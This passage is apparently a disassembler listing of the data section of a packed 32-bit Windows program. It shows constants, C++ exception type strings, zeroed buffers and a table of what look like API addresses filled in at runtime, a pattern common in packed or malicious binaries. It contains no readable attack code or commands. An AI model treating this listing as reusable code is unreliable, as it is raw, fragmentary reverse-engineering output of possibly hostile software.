3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D744 dd offset off_427D68 ; DATA XREF: .packed:00427F44o ; .packed:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D75C dd offset off_427D68 ; DATA XREF: .packed:off_427DF8o ; .packed:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D77C dd offset off_427D68 ; DATA XREF: .packed:off_427E40o ; .packed:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D79C dd offset off_427D68 ; DATA XREF: .packed:off_427E8Co ; .packed:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D7C0 dd offset off_427D68 ; DATA XREF: .packed:off_427ED8o ; .packed:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D7E0 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43D7E8 db 0 ; DATA XREF: sub_40111D+62o ; sub_401221+24Do ... align 10h dword_43D7F0 dd 0 ; DATA XREF: sub_401221+38Fo ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D808 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43E370 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43E570 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43E574 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43E578 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43E57C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E580 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43E584 dd 0 ; DATA XREF: sub_401221+3DEw ; sub_401221+456w ... byte_43E588 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dd 1C71h dup(0) dword_445750 dd 473Ch dup(0) ; DATA XREF: .packed:off_433E24o db 0 byte_457441 db 3 dup(0) ; DATA XREF: .packed:off_438B7Co dd 17780h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .packed:off_4389E8o dd 584Ah dup(0) dword_4CB370 dd 0B9C1h ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CB374 dd 1Bh ; DATA XREF: sub_401221+3Dw ; sub_401ACD:loc_4044D7r ... dword_4CB378 dd 0 ; DATA XREF: sub_401221:loc_4016FFo dword_4CB37C dd 20h dup(0) ; DATA XREF: sub_401221+495o ; sub_401221+52Fo ... dword_4CB3FC dd 10h dup(0) ; DATA XREF: sub_401221+4ABo dword_4CB43C dd 24h dup(0) ; DATA XREF: sub_401221+4C2o dword_4CB4CC dd 0 ; DATA XREF: sub_401221+4B6w ; sub_401221+546w ... dword_4CB4D0 dd 0 ; DATA XREF: sub_401221+4D5w align 10h byte_4CB4E0 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB4E4 dd 0 ; DATA XREF: sub_401221+4E3w ; sub_401221+4FAr ... dword_4CB4E8 dd 0 ; DATA XREF: sub_401221+49Aw ; sub_401ACD+8BEr dword_4CB4EC dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CB4F0 dd 77C72C6Bh ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CB4F4 dd 77EBA994h ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CB4F8 dd 7622A3F4h ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CB4FC dd 71C45229h ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CB500 dd 71C24870h ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CB504 dd 77C71BB0h ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CB508 dd 77D4808Bh ; DATA XREF: sub_409B12+213w ; sub_409B12+234r ... dword_4CB50C dd 71C4502Ch ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CB510 dd 77DE801Bh ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CB514 dd 77DDACABh ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CB518 dd 77DE8075h ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CB51C dd 77DD7496h ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CB520 dd 71AB1B7Bh ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CB524 dd 77E686CCh ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CB528 dd 71C2498Bh ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CB52C dd 77DDAB2Fh ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CB530 dd 7620E8C3h ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CB534 dd 77DD23D7h ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CB538 dd 76214750h ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CB53C dd 77E6D75Bh ; DATA XREF: sub_409B12+B3w dword_4CB540 dd 7620BD61h ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CB544 dd 71AB60C9h ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CB548 dd 77EBA6E9h ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CB54C dd 76D62A58h ; DATA XREF: sub_409B12+934w ; sub_413284+11Ar dword_4CB550 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CB554 dd 77E802FCh ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CB558 dd 77C75455h ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CB55C dd 71AB12A7h ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r ... dword_4CB560 dd 71C574FAh ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CB564 dd 71AB1746h ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CB568 dd 71C21CA3h ; DATA XREF: sub_409B12+A0Cw dword_4CB56C dd 71B28D0Dh ; DATA XREF: sub_409B12+B50w dword_4CB570 dd 762211EFh ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CB574 dd 77D902E3h ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CB578 dd 71C2FA86h ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CB57C dd 77DE1291h ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CB580 dd 77E2C1B3h ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CB584 dd 73B81E3Bh ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CB588 dd 71ABF628h ; DATA XREF: sub_409B12+6ACw ; sub_4107BF+D0r dword_4CB58C dd 71AB1836h ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CB590 dd 77C72889h ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CB594 dd 71C453F8h ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CB598 dd 77DD5C55h ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CB59C dd 77E96645h ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CB5A0 dd 77428B97h ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CB5A4 dd 71AB41DAh ; DATA XREF: sub_401221+8Cr ; sub_401ACD+5117r ... dword_4CB5A8 dd 762059A3h ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CB5AC dd 71C4A1B4h ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CB5B0 dd 1F7CD214h ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CB5B4 dd 77E09134h ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CB5B8 dd 77D4456Bh ; DATA XREF: sub_409B12+22Dw ; sub_411CF4+40r ... dword_4CB5BC dd 76D629BBh ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er ... dword_4CB5C0 dd 1F7B9D96h ; DATA XREF: sub_409B12+C28w dword_4CB5C4 dd 77E09070h ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CB5C8 dd 71AB1740h ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CB5CC dd 7620AFB6h ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CB5D0 dd 77D5C13Ah ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr ... dword_4CB5D4 dd 77D45B19h ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CB5D8 dd 71AB157Eh ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CB5DC dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CB5E0 dd 71AB14DCh ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CB5E4 dd 0CC0004h ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CB5E8 dd 77DD590Bh ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CB5EC dd 71ABD755h ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CB5F0 dd 77DF7311h ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CB5F4 dd 77DDA2AFh ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CB5F8 dd 1F7CD927h ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CB5FC dd 76206853h ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CB600 dd 77D4932Ch ; DATA XREF: sub_409B12+206w ; sub_409B12+227r ... dword_4CB604 dd 77D5E310h ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CB608 dd 76206B7Fh ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CB60C dd 71AB1444h ; DATA XREF: sub_409B12+624w ; sub_409B12+774r ... dword_4CB610 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CB614 dd 71AB3F8Dh ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CB618 dd 77DD5D20h ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CB61C dd 71AB1890h ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CB620 dd 77C76B34h ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CB624 dd 77D5E38Ch ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CB628 dd 77DDA20Bh ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CB62C dd 76F36EEBh ; DATA XREF: sub_409B12+AA2w dword_4CB630 dd 71AB12A7h ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CB634 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CB638 dd 77EBA595h ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CB63C dd 77C7531Dh ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CB640 dd 77D4BDCAh ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CB644 dd 71C3516Ah ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CB648 dd 71AB32CAh ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CB64C dd 71AB5690h ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CB650 dd 1F7CB8F8h ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CB654 dd 77EBB1E7h ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CB658 dd 77DD59F0h ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CB65C dd 71AB5DE2h ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CB660 dd 71AB3ECEh ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CB664 dd 73B81B0Fh ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CB668 dd 76204E4Dh ; DATA XREF: sub_409B12+879w ; sub_4163F9+4DCr ... dword_4CB66C dd 0 ; DATA XREF: sub_409B12+112w dword_4CB670 dd 1F7D886Ah ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CB674 dd 71AB12F8h ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CB678 dd 77C76551h ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CB67C dd 77C729E2h ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CB680 dd 77C7212Fh ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CB684 dd 71AB1AF4h ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CB688 dd 77D5E303h ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CB68C dd 71C4576Ch ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CB690 dd 77D4702Fh ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CB694 dd 77E6C0E3h ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CB698 dd 71AB1ED3h ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CB69C dd 71B2A381h ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CB6A0 dd 77DDA595h ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CB6A4 dd 77DD22EAh ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CB6A8 dd 773F97B0h ; DATA XREF: sub_409B12+BAAw dword_4CB6AC dd 76D67A29h ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CB6B0 dd 76D674FAh ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CB6B4 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CB6B8 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CB6BC dd 1F7BA3A9h ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB6C0 dd 71AB401Ch ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB6C4 dd 71C214BAh ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB6C8 dd 71AB868Dh ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB6CC dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB6D0 dd 71AB155Ah ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB6D4 dd 71B22C25h ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB6D8 dd 71AB5A01h ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB6DC dd 71B2ACCBh ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB6E0 dd 77E78C17h ; DATA XREF: sub_401221+52r ; sub_409B12+31w ... dword_4CB6E4 dd 77D49A11h ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB6EC dd 76D62A37h ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br ... dword_4CB6F0 dd 77E6CBF9h ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB6F4 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB6F8 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB6FC dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB700 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB704 dd 0 ; DATA XREF: sub_401221+349r ; sub_401ACD+4567r ... dword_4CB708 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB70C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB710 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB714 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB718 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB71C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB720 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB724 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB728 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB72C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB730 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB734 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB738 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB73C dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB740 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB744 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB748 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB74C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB750 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB754 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB758 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB75C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB760 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB764 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB780 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB784 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C33C+D9w ... dd 7FEh dup(0) dword_4CD780 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD798 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD79C dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD7A0 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD7A4 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD7A8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD828 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD82C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD830 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD838 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD83C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD940 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CDA44 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CDA48 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CDA4C dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CDA50 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CDAD0 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CDAD4 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CDAD8 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CDAE0 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CDAE4 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CDBE8 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CDCEC dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CDCF0 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CDCF4 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CDCF8 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CDD78 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CDD7C dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CDD80 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CDD88 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CDD8C dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CE014 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CE118 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CE120 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CE124 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CE128 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CE12C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CE134 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CE13C dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r ... dword_4CE140 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r ... dword_4CE144 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CE34C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CE354 dd 2080Ah ; DATA XREF: sub_40D89F+8w ; sub_40D99B+2D3o dd 0 dword_4CE35C dd 2 dup(0) ; DATA XREF: sub_40D99B+209o dword_4CE364 dd 0 ; DATA XREF: sub_40E4B8+1Fr ; sub_40E503+BCo ... dword_4CE368 dd 0 ; DATA XREF: sub_40E503+B7o ; sub_40E503+DAr ... dword_4CE36C dd 0 ; DATA XREF: sub_40E503+9Ao ; sub_40E503+CFr ... dword_4CE370 dd 0 ; DATA XREF: sub_40E475+35r ; sub_40E503+95o ... dword_4CE374 dd 0 ; DATA XREF: sub_40E475+17r ; sub_40E4B8+3Dr ... dd 0 dword_4CE37C dd 0B969h ; DATA XREF: sub_40BACD+2AEr ; sub_40E6D8+10w ... dd 0 dword_4CE384 dd 0 ; DATA XREF: sub_40B785+1Cr ; sub_40E6EF+27Cw dword_4CE388 dd 0 ; DATA XREF: sub_40EFBE+2Aw ; sub_40EFBE+51r ... dd 3 dup(0) dword_4CE398 dd 0 ; DATA XREF: sub_4107BF+146r align 10h dword_4CE3A0 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o align 8 byte_4CE3A8 db 0 ; DATA XREF: sub_412E9D+1D3w ; sub_412E9D+2D2o align 2 word_4CE3AA dw 0 ; DATA XREF: sub_412E9D+1E3w word_4CE3AC dw 0 ; DATA XREF: sub_412E9D+1E9w word_4CE3AE dw 0 ; DATA XREF: sub_412E9D+1F0w byte_4CE3B0 db 0 ; DATA XREF: sub_412E9D+1F7w byte_4CE3B1 db 0 ; DATA XREF: sub_412E9D+1FEw word_4CE3B2 dw 0 ; DATA XREF: sub_412E9D+204w dword_4CE3B4 dd 0 ; DATA XREF: sub_412E9D+234w ; sub_412E9D+250w dword_4CE3B8 dd 0 ; DATA XREF: sub_412E9D+258w byte_4CE3BC db 0 ; DATA XREF: sub_412E9D+26Aw byte_4CE3BD db 0 ; DATA XREF: sub_412E9D+27Dw word_4CE3BE dw 0 ; DATA XREF: sub_412E9D+295w word_4CE3C0 dw 0 ; DATA XREF: sub_412E9D+2A4w word_4CE3C2 dw 0 ; DATA XREF: sub_412E9D+29Cw dword_4CE3C4 dd 101h dup(0) ; DATA XREF: sub_412E9D+2B9o dword_4CE7C8 dd 80h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o ... byte_4CE9C8 db 0 ; DATA XREF: sub_414745+1A1w ; sub_414745+27Ao align 2 word_4CE9CA dw 0 ; DATA XREF: sub_414745+1AEw word_4CE9CC dw 0 ; DATA XREF: sub_414745+1B8w word_4CE9CE dw 0 ; DATA XREF: sub_414745+1C1w byte_4CE9D0 db 0 ; DATA XREF: sub_414745+1C8w byte_4CE9D1 db 0 ; DATA XREF: sub_414745+1CFw word_4CE9D2 dw 0 ; DATA XREF: sub_414745+1D6w dword_4CE9D4 dd 0 ; DATA XREF: sub_414745+1E3w dword_4CE9D8 dd 0 ; DATA XREF: sub_414745+1EBw word_4CE9DC dw 0 ; DATA XREF: sub_414745+244w word_4CE9DE dw 0 ; DATA XREF: sub_414745+22Cw word_4CE9E0 dw 0 ; DATA XREF: sub_414745+256w word_4CE9E2 dw 0 ; DATA XREF: sub_414745+1F7w dword_4CE9E4 dd 101h dup(0) ; DATA XREF: sub_414745+265o dword_4CEDE8 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 3 dup(0) byte_4CEDF8 db 0 ; DATA XREF: sub_414C2E+241o ; sub_414C2E+250w ... byte_4CEDF9 db 0 ; DATA XREF: sub_414C2E+264w word_4CEDFA dw 0 ; DATA XREF: sub_414C2E+295w word_4CEDFC dw 0 ; DATA XREF: sub_414C2E+27Cw ; sub_414C2E:loc_415000w word_4CEDFE dw 0 ; DATA XREF: sub_414C2E+29Bw byte_4CEE00 db 0 ; DATA XREF: sub_414C2E+288w byte_4CEE01 db 0 ; DATA XREF: sub_414C2E+25Dw word_4CEE02 dw 0 ; DATA XREF: sub_414C2E+3F2w ; sub_414C2E+41Cw dword_4CEE04 dd 0 ; DATA XREF: sub_414C2E:loc_414EF7w ; sub_414C2E+39Ar dword_4CEE08 dd 0 ; DATA XREF: sub_414C2E+2D6w word_4CEE0C dw 0 ; DATA XREF: sub_414C2E+394w ; sub_414C2E+3E8o word_4CEE0E dw 0 ; DATA XREF: sub_414C2E+335w ; sub_414C2E+35Ar ... dword_4CEE10 dd 0 ; DATA XREF: sub_414C2E+30Cw ; sub_414C2E+3D9w dword_4CEE14 dd 0 ; DATA XREF: sub_414C2E+328w ; sub_414C2E+3ABw ... byte_4CEE18 db 0 ; DATA XREF: sub_414C2E+311r ; sub_414C2E+31Fw byte_4CEE19 db 0 ; DATA XREF: sub_414C2E+2DBw ; sub_414C2E+3A4w ... word_4CEE1A dw 0 ; DATA XREF: sub_414C2E+2E9w word_4CEE1C dw 0 ; DATA XREF: sub_414C2E+3F9w ; sub_414C2E+42Aw word_4CEE1E dw 0 ; DATA XREF: sub_414C2E+32Ew word_4CEE20 dw 0 ; DATA XREF: sub_414C2E+360w ; sub_414C2E+432o word_4CEE22 dw 0 ; DATA XREF: sub_414C2E+36Fw ; 